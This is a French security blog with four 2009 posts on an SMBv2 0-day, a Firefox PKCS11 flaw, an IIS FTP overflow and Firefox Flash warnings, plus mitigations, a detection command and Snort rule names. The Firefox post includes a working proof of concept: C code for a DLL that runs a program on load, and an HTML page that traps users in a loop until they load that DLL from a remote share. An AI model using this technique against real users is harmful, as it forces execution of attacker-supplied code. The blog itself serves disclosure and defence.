Me contacter :

Nicolas Kerschenbaum

Un 0-day dans le protocole SMBv2 permet de prendre le contrôle à distance d'un système Windows (Vista, 2008, 7)



Le 7 septembre, une vulnérabilité 0-day a été découverte au sein du protocole SMBv2[1] (Server Message Block version 2). Ce protocole, implémenté sur les systèmes Vista, serveur 2008 et Windows 7, est utilisé pour le partage de fichiers et d'imprimantes.

Cette faille de sécurité, découverte par Laurent Gaffié[2] grâce à une attaque de fuzzing, est considérée comme critique.

En effet, celle-ci est exploitable à distance et permet d'exécuter un code malicieux avec les droits SYSTEM (administrateur). L'ironie vient du fait qu'elle a été introduite suite à la mise en place du correctif KB942624 (MS07-063) corrigeant une précédente faille de sécurité au sein de ce même protocole.

Cette vulnérabilité provient d'une mauvaise gestion des requêtes NEGOTIATE PROTOCOL par le pilote SRV2.SYS. Les requêtes NEGOTIATE PROTOCOL sont envoyées au serveur SMB dans le but d'identifier le dialecte SMB utilisé.
La faille de sécurité peut être provoquée lorsque le champ Process Id High contient un caractère "&", il est alors possible de provoquer un déréférencement de pointeur

Même si pendant plus d'une semaine seul un déni de service (DoS) avait été démontré provoquant le célèbre blue screen of death (BSoD)[3], plusieurs chercheurs ont prouvé qu'il était possible d'exécuter du code malicieux à distance.


 Ecran bleu provoqué lors de l'exploitation 


Les recherches ont tout d'abord débuté sur le blog vrt-sourcefire[4], mais la preuve de concept la plus aboutie vient de notre expert français Kostya Kortchinsky[5] qui réussi à exploiter cette faille de sécurité pour élever les privilèges d'un utilisateur local sur un système Vista à jour.
Le lendemain il réussit à modifier le code d'exploitation de sorte à pouvoir prendre le contrôle distant sur un système Windows Vista et Windows Serveur 2008 SP2.
Il indique que cette vulnérabilité est vraiment critique puisqu'un qu'un ver pourrait l'utiliser afin de se diffuser facilement (reste qu'en entreprise les Vista et Serveur 2008 ça ne court par les rues...).

Notons toutefois que les différents codes d'exploitation ne sont pas disponibles publiquement, mais sont uniquement intégrés au framework d'exploitation payant Canvas[6]. Une vidéo de l'exploitation sur ce framework est disponible [7].


Utilisation du code d'exploitation sur le framework Canvas 


UPDATE (04/10/2009):
Un code d'exploitation est maintenant disponible dans le framework d'exploitation gratuit Metasploit (trunk) [10].


Comment se protéger ?

En attendant que Microsoft publie un correctif, plusieurs actions peuvent être réalisées afin de remédier à cette vulnérabilité.

Tout d'abord, il est possible de désactiver le protocole SMBv2. Pour cela, il faut mettre la valeur de la clé de registre HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\smbv2 à 0 puis redémarrer le service Server. Microsoft propose un script permettant de réaliser automatiquement cette opération [8].

Il est également possible de bloquer les ports utilisés par le SMB (TCP 139 et TCP 445) par le firewall.

A noter qu'une règle Snort est disponible (15930) [9]

UPDATE (13/10/2009):
Microsoft corrige les 2 vulnérabilités avec le correctif proposé dans le bulletin MS09-050 [11].


Webographie

[1]   http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#Server_Message_Block_2.0
[2]   http://g-laurent.blogspot.com/2009/09/windows-vista7-smb20-negotiate-protocol.html
[3]   http://fr.wikipedia.org/wiki/Bsod
[4]   http://vrt-sourcefire.blogspot.com/2009/09/smbv2-quotes-dos-quotes.html
[5]   http://expertmiami.blogspot.com/2009/09/exploitation-de-la-vulnerabilite-smbv2.html
        http://expertmiami.blogspot.com/2009/09/quelques-pensees-en-vrac-sur-la.html
        http://expertmiami.blogspot.com/2009/09/exploit-smbv2-distant-pour-vista.html
        http://expertmiami.blogspot.com/2009/09/bonne-nouvelle-du-jour.html
[6]   http://www.immunityinc.com/ceu-index.shtml
[7]   http://www.immunityinc.com/documentation/smb2.html
[8]   http://support.microsoft.com/kb/975497
[9]   http://www.snort.org/vrt/docs/ruleset_changelogs/CURRENT/changes-2009-09-17.html
[10] http://blog.metasploit.com/2009/10/smb2-351-packets-from-trampoline.html
[11] http://www.microsoft.com/france/technet/security/bulletin/ms09-050.mspx

Une vulnérabilité de Firefox permet à un attaquant de prendre le contrôle d'un système vulnérable

Vendredi dernier, le chercheur Dan Kaminsky, rendu célèbre pour sa fameuse faille de sécurité au sein du protocole DNS, révélait cette fois-ci [1], une vulnérabilité critique au sein du navigateur Firefox.

En exploitant celle-ci, un attaquant était en mesure de prendre le contrôle d'un système distant avec les droits de l'utilisateur actuellement connecté. L'ensemble des systèmes d'exploitation est affecté (Windows, Linux, Mac OS X).

La faille de sécurité provenait de la fonction window.pkcs11.addmodule, utilisée pour installer des pilotes ou logiciels liés au protocole PKCS11. Cette fonction prenait en paramètre le chemin absolu de la librairie à charger.
Un pirate pouvait alors utiliser cette fonction JavaScript au sein d'une page web judicieusement conçue, dans le but de forcer sa victime à charger une librairie (.DLL ou .SO) malicieuse accessible depuis un répertoire partagé sur Internet (chemin UNC du type \\ip.ip.ip.ip).

Cette attaque n'est toutefois pas transparente pour l'utilisateur. Lors de l'exécution de la fonction window.pkcs11.addmodule, une fenêtre d'avertissement demande à l'utilisateur si celui-ci souhaite charger la librairie spécifiée par l'attaquant.

La capture suivante illustre le message affiché à l'utilisateur.


Message affiché à l'utilisateur lors du chargement de la page HTML malicieuse


Cependant, en effectuant une boucle infinie, l'utilisateur n'a d'autre choix que d'installer la librairie proposée. En effet, son navigateur est totalement inutilisable tant que la librairie à charger n'a pas été validée (le bouton Annuler ne permet pas de stopper l'opération). L'utilisateur n'est même plus en mesure de pouvoir fermer son navigateur (excepté en terminant le processus lié à Firefox).


Ainsi, en incitant un utilisateur à visiter une page Web malicieuse, un pirate est en mesure de forcer celui-ci à exécuter une librairie (.DLL ou .SO). Cette librairie peut contenir directement un code malicieux (virus, cheval de Troie...) ou lancer un programme présent sur le système.

Dans notre exemple, la librairie chargée démarre la calculatrice de Windows (calc.exe).



La librairie DLL chargée permet de démarrer la calculatrice de Windows


Les paragraphes suivants détaillent la procédure technique à suivre afin de reproduire cette preuve de concept sur un système Windows.

Tout d'abord, il est nécessaire de créer notre DLL malicieuse. Pour cela, il nous faut un framework de développement type Visual Studio. Nous créons alors un projet DLL MFC (DLL normale utilisant une DLL MFC partagée).



Projet de création d'une DLL 


Le code malicieux sera présent au sein du constructeur afin que celui-ci soit exécuté dès le chargement de la librairie.
char *str = "c:\\windows\\system32\\calc.exe";
wchar_t *wText;
size_t len;

len = strlen(str)+1;

wText = new wchar_t[strlen(str)];
memset(wText, 0, len * sizeof(wchar_t));

::MultiByteToWideChar(CP_ACP, NULL, str, -1, wText, len);

ShellExecute(NULL, NULL, wText, NULL, NULL, SW_SHOW);


Code C permettant de lancer la calculatrice Windows lors du chargement de celle-ci

Ce code nécessite une version récente d'un framework de développement, laissez tomber vos
Visual C++ 6 (merci Yannick ;) )

La DLL peut alors être générée et placée au sein d'un dossier partagé accessible via Internet.
Vous pouvez télécharger la DLL générée dans cet exemple ici.



Fichier DLL placé au sein d'un dossier partagé 


Maintenant il ne reste plus qu'à créer une page web contenant un code JavaScript faisant appel à la fonction window.pkcs11.addmodule

<html>
<body>
<script>

var str = "Error detected in Firefox Module NSP31337.bin.\\n" + "Please click \'OK\' to repair.";

ret=-2;
while(ret!=-5)
{
ret=window.pkcs11.addmodule("\\n\\n\\n" + str + "\\n\\n\\n","\\\\\\\\192.168.0.11\\\\dll\\\\dll_firefox.dll", 0, 0);
}

</script>
</body>
</html>
Cette vulnérabilité critique est corrigée au sein de la version 3.0.14 de Firefox.
Notons que les versions 3.5 ne sont pas affectées par cette faille de sécurité.


Webographie

[1] http://www.milw0rm.com/exploits/9651
[2] http://www.megaupload.com/?d=9O8BJUXF

Les serveurs Microsoft IIS victimes de deux vulnérabilités 0-day

Depuis le 31 août, un code d'exploitation publié sur Milworm permet d'exploiter une vulnérabilité importante sur les serveurs web Microsoft IIS.
Cette faille de sécurité de type 0-day (non corrigée par l'éditeur) affecte plus précisément le service FTP des serveurs IIS. En exploitant cette faille de sécurité, un attaquant est en mesure de prendre le contrôle du système ou de provoquer un déni de service (DoS).

Cette vulnérabilité (CVE-2009-3023) provient d'une mauvaise gestion des noms de certains dossiers. Par le biais de la commande FTP NLST (NAME LIST, utilisée pour lister le contenu d'un répertoire) et d'un répertoire spécialement conçu, il est possible de provoquer un débordement de pile (stack overflow).
Afin d'exploiter cette vulnérabilité, l'attaquant doit pouvoir créer des dossiers sur le serveur FTP, ce qui limite les possibilités d'attaque. Il s'agirait donc, soit d'un utilisateur légitime du serveur FTP avec des droits d'écriture, soit d'un serveur FTP autorisant les utilisateurs anonymes (compte anonymous) à créer des dossiers sur celui-ci.
De plus, rappelons que le service FTP n'est pas activé par défaut sur un serveur IIS.
Toutefois, un serveur FTP vulnérable permettrait à un pirate de prendre le contrôle du système sous-jacent sur la version IIS 5.0 (Windows 2000 SP4) avec les droits LocalSystem (administrateur), tandis qu'il pourrait provoquer un arrêt inopiné du service sur les versions IIS 5.0, IIS 5.1, IIS 6.0 et IIS 7.0 des autres systèmes d'exploitation.
Un code d'exploitation fonctionnel est disponible dans le Framework Metasploit (trunk).
Notons également que Microsoft indique que cette faille de sécurité est actuellement exploitée sur Internet, mais de façon assez isolée.

Une seconde vulnérabilité (CVE-2009-521) permet quant à elle de provoquer un déni de service (DoS) sur les versions IIS 5.0, IIS 5.1, IIS 6.0, et IIS 7.0.
Cette deuxième faille de sécurité nécessite uniquement un accès en lecture au serveur FTP.


Détecter l'attaque et se protéger

Certains programmes permettent de déterminer les versions vulnérables des services FTP. Parmi ceux-ci on pourra noter 3 plug-ins Nessus [9] (un pour détecter l'utilisation d'un compte Anonymous, un second pour vérifier si le compte Anonymous possède les droits d'écrite, et le dernier vérifie si le débordement de pile est exploitable sur le service FTP), et un script nmap [10] effectuant les mêmes vérifications.

 nmap -p 21 -sV -PN --script=IIS-FTP
D'autre part, plusieurs signatures IDS/IPS sont disponibles afin de détecter/bloquer la tentative d'attaque. Ces signatures se basent sur le fait qu'une requête est suspicieuse si un argument d'une commande FTP contient plus de 100 caractères.
Plusieurs règles Snort [11] détectaient déjà cette attaque :
2374 - FTP NLST overflow attempt
3441 - FTP PORT bounce attempt
1973 - FTP MKD overflow attempt
1529 - FTP SITE overflow attempt
125:3:1 - FTP Parameter Length Overflow
125:6:1 - FTP Response Length Overflow
125:8:1 - FTP Bounce
Une règle de Emerging Threats [12] permet également de détecter la tentative d'exploitation.

Notons que le service FTP 7.5 pour Windows Vista et Windows Serveur 2008 n'est pas vulnérable à cette faille de sécurité et peut être téléchargé sur le site de Microsoft [13]



Webographie

[1] http://www.microsoft.com/technet/security/advisory/975191.mspx
[2] http://www.milw0rm.com/exploits/9559
      http://www.milw0rm.com/exploits/9587
[3] http://blogs.technet.com/msrc/archive/2009/09/03/microsoft-security-advisory-975191-revised.aspx
[4] http://blogs.technet.com/msrc/archive/2009/09/01/microsoft-security-advisory-975191-released.aspx
[5] http://blogs.technet.com/srd/archive/2009/09/01/new-vulnerability-in-iis5-and-iis6.aspx
[6] http://www.kb.cert.org/vuls/id/276653
[7] http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3023
[8] http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2521
[9] http://blog.tenablesecurity.com/2009/09/plugin-spotlight-microsoft-iis-ftpd-nlst-remote-buffer-overflow-vulnerability.html
[10] http://blog.rootshell.be/wp-content/uploads/2009/08/IIS-FTP.nse
[11] http://www.snort.org/vrt/advisories/2009/09/01/vrt-rules-2009-09-01.html
       http://dl.snort.org/sub-rules/snortrules-snapshot-CURRENT_s.tar.gz
[12] http://www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/EXPLOIT/EXPLOIT_IISFTP?rev=1.4;content-type=text%2Fplain
[13] http://www.microsoft.com/downloads/details.aspx?displaylang=en&FamilyID=b7f5b652-8c5c-447a-88b8-8cfc5c13f571

Les nouvelles versions de Firefox avertiront les utilisateurs d'une version de Flash obsolète

De plus en plus de vulnérabilités critiques sont découvertes au sein de la visionneuse Flash Adobe Flash Player. Cette visionneuse est donc un important vecteur d'exploitation pour les pirates sachant qu'elle est installée sur 99% des postes [1] et que parmi ceux-ci seuls 20% possèdent la dernière version à jour.


Face à ce constat alarmant, la fondation Mozilla prend les choses en main par le biais du navigateur Internet Firefox. Dorénavant, Firefox avertira les utilisateurs s'ils utilisent une version obsolète de la visionneuse Flash. Ce message d'avertissement sera affiché à partir des prochaines version du navigateur internet (3.5.3 et 3.0.14) et permettra, espérons le, d'augmenter le pourcentage de poste ayant une version non vulnérable du lecteur.


 Webographie:

[1] http://www.adobe.com/products/player_census/shockwaveplayer/ 
[2] http://www.h-online.com/security/Mozilla-to-protect-Adobe-Flash-users--/news/114157
[3] http://blog.mozilla.com/security/2009/09/04/helping-users-keep-plugins-updated/